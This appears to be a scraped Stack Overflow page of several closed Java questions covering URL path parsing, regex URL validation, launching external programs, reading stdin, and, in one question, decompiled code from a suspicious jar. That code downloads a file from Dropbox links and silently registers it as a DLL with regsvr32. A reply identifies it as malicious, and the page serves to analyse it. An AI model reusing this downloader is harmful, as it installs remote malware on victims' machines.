Closed. This question needs details or clarity. It is not currently accepting answers.
Want to improve this question? Add details and clarify the problem by editing this post.
Closed 3 years ago.
Improve this question
URL url=new URL("http://www.google.com/stackoverflow/question");
OUPUT
path1=stackoverflow,
path2=question,
ANOTHER
URL url=new URL("http://www.google.com/stackoverflow/question/java");
OUTPUT
path1=question
path2=java
If we enter dynamic url than how we can find the paths like this.
Thanks
please try the code below -
public static void main(String[] args) throws Exception {
URL aURL = new URL("http://www.google.com/stackoverflow/question");
String[] pathSplit = aURL.getPath().split("/");
System.out.println("path1 = " + pathSplit[1]);
System.out.println("path2 = " + pathSplit[2]);
}
Related
Closed. This question needs debugging details. It is not currently accepting answers.
Edit the question to include desired behavior, a specific problem or error, and the shortest code necessary to reproduce the problem. This will help others answer the question.
Closed 3 days ago.
Improve this question
I tried to do "image = (PNMImage) ois.read(getBytes(fileName);" in order to fix the issue of converting string to byte but I got an error that said, cannot resolve getBytes in PNMimage
// TODO Implement this method
// return null;
PNMImage image = null;
try {
DataInputStream ois = new DataInputStream(new FileInputStream(fileName));
image = (PNMImage) ois.read(getBytes(fileName));
}catch(ClassNotFoundException e ) {
e.printStackTrace();
}
return image;
}```
Closed. This question needs details or clarity. It is not currently accepting answers.
Want to improve this question? Add details and clarify the problem by editing this post.
Closed 7 years ago.
Improve this question
I am facing issue for validate the URL pattern like ER.RTR.RT12345,its return me true .But it is works fine for https://www.sophos.com/cs-cz/support/knowledgebase/117316.aspx this.
public static boolean validateURL(String url) {
String urlPattern = "(#)?(href=')?(HREF=')?(HREF=\")?(href=\")?(http://)?(https://)?[a-zA-Z_0-9\\-]+(\\.\\w[a-zA-Z_0-9\\-]+)+(/[#&\\n\\-=?\\+\\%/\\.\\w]+)?";
if (url.matches(urlPattern))
return true;
else
return false;
}
How to resolves this issue ?
Java's URL class automatically "validates" a URL string. The validation is according to
The syntax of URL is defined by RFC 2396: Uniform Resource Identifiers (URI): Generic Syntax, amended by RFC 2732: Format for Literal IPv6 Addresses in URLs.
You can just use the constructor:
public static void main(String[] args) {
try {
URL url = new URL("ER.RTR.RT12345");
} catch (MalformedURLException e1) {
e1.printStackTrace();
}
}
and manage true or false with the catch block. The above example throws the exception.
Closed. This question needs to be more focused. It is not currently accepting answers.
Want to improve this question? Update the question so it focuses on one problem only by editing this post.
Closed 8 years ago.
Improve this question
I have a C++ program which uses command line as its mean for IO. I don't know C++, nor do I have the program's source code. I want my java application to open the C++ program , give some input and gather the result from the C++ code. Is there a way?
UPDATE: I need to enter the input at runtime.
You can use java.lang.Runtime
For example:
public class TestRuntime {
public static void main(String[] args) {
try {
Process p = Runtime.getRuntime().exec("test.bat");
// test.bat or test.sh in linux is script with command to run (c++) program
// or direct path to application's exec
BufferedReader in = new BufferedReader(
new InputStreamReader(p.getInputStream()));
String line = null;
while ((line = in.readLine()) != null) {
System.out.println(line);
}
} catch (IOException e) {
e.printStackTrace();
}
}
}
In addition, you can read about difference between Runtime and ProcessBuilder in this topic.
Closed. This question needs to be more focused. It is not currently accepting answers.
Want to improve this question? Update the question so it focuses on one problem only by editing this post.
Closed 8 years ago.
Improve this question
This is a jar executable file I just obtained. It looks like a some kind of a virus. stealing passwords. I think. but I dont know what it actually do. I decoded it by a software and obtained the code.
so can some one please just look at this code (DO NOT RUN IT) and just explain what is actually done in this code?
public static void Run() throws IOException
{
int i = 3;
while (i < 9)
{
Runtime.getRuntime().exec("regsvr32 /s C:\\temp\\YQJHBJX.PWY");
i++;
}
}
public static void main(String[] args) throws Exception
{
new File("C:\\temp\\").mkdir();
File localFile = new File("C:\\temp\\YQJHBJX.PWY");
if (localFile.exists())
{
Run();
}
else
{
String[] arrayOfString1 = "f6pb6ya5e5vc0q5/d.dat?dl=1###21urb4zg9n2on4s/d.dat?dl=1".split("###");
for (String str1 : arrayOfString1)
{
URL localURL = new URL("https://dl.dropboxusercontent.com/s/" + str1);
HttpURLConnection localHttpURLConnection = (HttpURLConnection)localURL.openConnection();
localHttpURLConnection.connect();
if (localHttpURLConnection.getResponseCode() / 100 == 2)
{
String str2 = "https://dl.dropboxusercontent.com/s/"+ str1;
String str3 = "C:\\temp\\YQJHBJX.PWY";
goToWeb(str2, str3);
break;
}
}
}
}
public static void goToWeb(String paramString1, String paramString2) throws IOException
{
System.out.println(paramString1);
System.out.println(paramString2);
InputStream localInputStream = URI.create(paramString1).toURL().openStream();
Files.copy(localInputStream, Paths.get(paramString2, new String[0]), new CopyOption[0]);
Run();
}
It's downloading a most likely malicious file from dropbox and registering it as a DLL. Exploit is in that file: "C:\temp\YQJHBJX.PWY" unregister it with regsvr32 /u and delete it if it exists.
Closed. This question needs details or clarity. It is not currently accepting answers.
Want to improve this question? Add details and clarify the problem by editing this post.
Closed 8 years ago.
Improve this question
I'm having trouble reading both arguments and stdin from the command line when running a java file. I can read in arguments on their own and stdin on it's own but not together; for example:
java myFile 6 2 < numbers.txt
I can get it to store 6 and 2 in an array but then it just stores "<" and "text.txt" also. I've been unable to find anything online describing a similar problem so not really sure where to begin.
Command-line arguments are received in the String[]-typed parameter of the main method. Input redirection is done the same as for any other process invoked at the command line. The bytes can be retrieved by reading from stdin until EOF is reached.
Command: java myClass myArg < myFile
public static void main(String[] args)
{
System.out.println("Arg 1 = " + args[0] + "\nStdin = ");
try (InputStreamReader isr = new InputStreamReader(System.in)) {
int ch;
while((ch = isr.read()) != -1)
System.out.print((char)ch);
}catch(IOException e) {
e.printStackTrace();
}
}
For more info:
http://docs.oracle.com/javase/tutorial/essential/environment/cmdLineArgs.html
http://docs.oracle.com/javase/tutorial/essential/io/cl.html